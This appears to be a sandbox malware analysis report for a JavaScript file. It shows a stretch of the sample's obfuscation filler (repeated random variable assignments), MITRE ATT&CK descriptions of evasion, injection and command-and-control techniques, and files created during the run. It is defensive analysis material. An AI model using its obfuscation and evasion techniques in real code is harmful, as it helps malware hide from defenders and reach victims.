1239	pqlooxbi = "T";
1240	pqlooxbi = "x";
1241	pqlooxbi = "K";
1242	pqlooxbi = "t";
1243	pqlooxbi = "C";
1244	pqlooxbi = "b";
1245	pqlooxbi = "b";
1246	pqlooxbi = "k";
1247	pqlooxbi = "q";
1248	pqlooxbi = "G";
1249	pqlooxbi = "L";
1250	kvvljbtp = "H";
1251	kvvljbtp = "y";
1252	kvvljbtp = "N";
1253	kvvljbtp = "f";
1254	kvvljbtp = "D";
1255	kvvljbtp = "K";
1256	kvvljbtp = "F";
1257	kvvljbtp = "X";
1258	kvvljbtp = "K";
1259	kvvljbtp = "x";
1260	kvvljbtp = "K";
1261	kvvljbtp = "q";
1262	kvvljbtp = "X";
1263	kvvljbtp = "E";
1264	kvvljbtp = "B";
1265	kvvljbtp = "o";
1266	kvvljbtp = "Q";
1267	kvvljbtp = "B";
1268	kvvljbtp = "U";
1269	kvvljbtp = "v";
1270	kvvljbtp = "q";
1271	kvvljbtp = "n";
1272	kvvljbtp = "c";
1273	kvvljbtp = "F";
1274	kvvljbtp = "t";
1275	kvvljbtp = "q";
1276	kvvljbtp = "g";
1277	kvvljbtp = "z";
1278	kvvljbtp = "a";
1279	kvvljbtp = "W";
1280	kvvljbtp = "v";
1281	kvvljbtp = "P";
1282	kvvljbtp = "x";
1283	kvvljbtp = "G";
1284	kvvljbtp = "Y";
1285	kvvljbtp = "Q";
1286	esqszda = "n";
1287	esqszda = "k";
1288	esqszda = "i";
1289	esqszda = "p";
1290	esqszda = "u";
1291	esqszda = "j";
1292	esqszda = "x";
1293	esqszda = "s";
1294	esqszda = "F";
1295	esqszda = "P";
1296	esqszda = "l";
1297	esqszda = "n";
1298	esqszda = "I";
1299	esqszda = "F";
1300	esqszda = "q";
1301	esqszda = "s";
1302	esqszda = "q";
1303	esqszda = "l";
1304	esqszda = "E";
1305	esqszda = "f";
1306	esqszda = "W";
1307	esqszda = "t";
1308	esqszda = "K";
1309	esqszda = "l";
1310	esqszda = "f";
1311	esqszda = "c";
1312	esqszda = "t";
1313	esqszda = "f";
1314	esqszda = "L";
1315	esqszda = "X";
1316	esqszda = "Z";
1317	esqszda = "d";
1318	esqszda = "S";
1319	esqszda = "k";
1320	esqszda = "S";
1321	esqszda = "R";
1322	esqszda = "c";
1323	esqszda = "s";
1324	esqszda = "z";
1325	esqszda = "W";
1326	esqszda = "w";
1327	oafdr = "m";
1328	oafdr = "E";
1329	oafdr = "G";
1330	oafdr = "a";
1331	oafdr = "T";
1332	oafdr = "K";
1333	oafdr = "r";
1334	oafdr = "w";
1335	oafdr = "W";
1336	oafdr = "j";
1337	oafdr = "n";
1338	oafdr = "r";
1339	oafdr = "X";
1340	oafdr = "z";
1341	oafdr = "p";
1342	oafdr = "t";
1343	oafdr = "y";
1344	oafdr = "q";
1345	oafdr = "b";
1346	oafdr = "Z";
1347	oafdr = "Z";
1348	oafdr = "k";
1349	oafdr = "y";
1350	oafdr = "Z";
1351	oafdr = "R";
1352	oafdr = "p";
1353	oafdr = "j";
1354	oafdr = "X";
1355	oafdr = "m";
1356	oafdr = "y";
1357	oafdr = "X";
1358	oafdr = "q";
1359	uzmviz = "H";
1360	uzmviz = "X";
1361	uzmviz = "m";
1362	uzmviz = "H";
1363	uzmviz = "R";
1364	uzmviz = "F";
1365	uzmviz = "s";
1366	uzmviz = "K";
1367	uzmviz = "P";
1368	uzmviz = "F";
1369	uzmviz = "d";
1370	uzmviz = "N";
1371	uzmviz = "S";
1372	uzmviz = "r";
1373	uzmviz = "T";
1374	uzmviz = "g";
1375	uzmviz = "J";
1376	uzmviz = "k";
1377	uzmviz = "S";
1378	uzmviz = "k";
1379	uzmviz = "Y";
1380	uzmviz = "s";
1381	uzmviz = "P";
1382	uzmviz = "c";
1383	uzmviz = "Z";
1384	uzmviz = "Q";
1385	uzmviz = "a";
1386	uzmviz = "D";
1387	uzmviz = "l";
1388	uzmviz = "c";
1389	uzmviz = "T";
1390	uzmviz = "l";
1391	uzmviz = "T";
1392	uzmviz = "j";
1393	uzmviz = "s";
1394	ajafn = "g";
1395	ajafn = "j";
1396	ajafn = "Q";
1397	ajafn = "N";
1398	ajafn = "c";
1399	ajafn = "K";
1400	ajafn = "A";
1401	ajafn = "b";
1402	ajafn = "O";
1403	ajafn = "t";
1404	ajafn = "z";
1405	ajafn = "D";
1406	ajafn = "F";
1407	ajafn = "g";
1408	ajafn = "k";
1409	ajafn = "B";
1410	ajafn = "R";
1411	ajafn = "R";
1412	ajafn = "r";
1413	ajafn = "j";
1414	ajafn = "r";
1415	ajafn = "f";
1416	ajafn = "l";
1417	ajafn = "S";
1418	ajafn = "P";
1419	ajafn = "L";
1420	ajafn = "c";
1421	ajafn = "i";
1422	ajafn = "G";
1423	ajafn = "v";
1424	ajafn = "n";
1425	ajafn = "V";
1426	ajafn = "b";
1427	ajafn = "f";
1428	ajafn = "f";
1429	ajafn = "y";
1430	ajafn = "j";
1431	ajafn = "A";
1432	ajafn = "a";
1433	ajafn = "j";
1434	ajafn = "t";
1435	ajafn = "e";
1436	ajafn = "E";
1437	ajafn = "Z";
1438	ajafn = "R";
1439	hupcyfyw = "U";
1440	hupcyfyw = "O";
1441	hupcyfyw = "p";
1442	hupcyfyw = "B";
1443	hupcyfyw = "p";
1444	hupcyfyw = "Z";
1445	hupcyfyw = "G";
1446	hupcyfyw = "a";
1447	hupcyfyw = "W";
1448	hupcyfyw = "u";
1449	hupcyfyw = "q";
1450	hupcyfyw = "Z";
1451	hupcyfyw = "g";
1452	hupcyfyw = "q";
1453	hupcyfyw = "b";
1454	hupcyfyw = "J";
1455	hupcyfyw = "U";
1456	hupcyfyw = "N";
1457	hupcyfyw = "w";
1458	hupcyfyw = "q";
1459	hupcyfyw = "u";
1460	hupcyfyw = "D";
1461	hupcyfyw = "E";
1462	hupcyfyw = "L";
1463	hupcyfyw = "C";
1464	hupcyfyw = "N";
1465	hupcyfyw = "H";
1466	hupcyfyw = "P";
1467	hupcyfyw = "Z";
1468	hupcyfyw = "3";
1469	akltfgkzw = "Y";
1470	abhtle ( );	abhtle() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 369248682699819312.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\aa188e37-38f4-4355-949f-74337d257c8f.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
369248682699819312.js